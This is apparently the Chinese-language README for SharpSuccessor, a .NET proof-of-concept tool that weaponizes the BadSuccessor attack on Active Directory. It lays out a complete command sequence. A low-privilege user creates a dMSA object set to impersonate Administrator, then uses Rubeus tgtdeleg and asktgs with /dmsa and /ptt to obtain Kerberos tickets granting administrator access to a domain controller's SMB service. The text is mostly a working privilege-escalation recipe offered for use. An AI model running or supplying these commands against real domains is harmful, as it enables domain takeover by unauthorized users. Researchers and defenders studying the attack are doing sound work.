SharpSuccessor 是一个 .NET 概念验证（POC），用于全面武器化 Yuval Gordon（@YuG0rd）在 Akamai 提出的 BadSuccessor 攻击。低权限用户只要拥有对 Active Directory 域中任意组织单位（OU）的 CreateChild 权限，并且对目标对象具有写访问权限，就可以执行账户接管。
使用 SharpSuccessor 添加并武器化 dMSA 对象，同时在您希望冒充的目标账户上写入正确的属性：
SharpSuccessor.exe add /impersonate:Administrator /path:"ou=test,dc=lab,dc=lan" /account:jdoe /name:attacker_dMSA
以当前用户上下文（此处为 jdoe）请求 TGT：
Rubeus.exe tgtdeleg /nowrap
然后使用该 TGT 冒充 dMSA 账户：
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/lab.lan /opsec /dmsa /nowrap /ptt /ticket:doIFTDCCB.....
现在，您可以以 Administrator 身份为任意 SPN 请求服务票据，包括用于后渗透的域控制器。例如，下面我将展示对域控制器上 SMB 的管理员权限：
Rubeus.exe asktgs /user:attacker_dmsa$ /service:cifs/WIN-RAEAN26UGJ5.lab.lan /opsec /dmsa /nowrap /ptt /ticket:doIF2DCCBdS...
现在票据已在内存中，我们可以测试访问权限：
衷心感谢 Jim Sykora 和 Garrett Foster 为这个工具提供的灵感与帮助！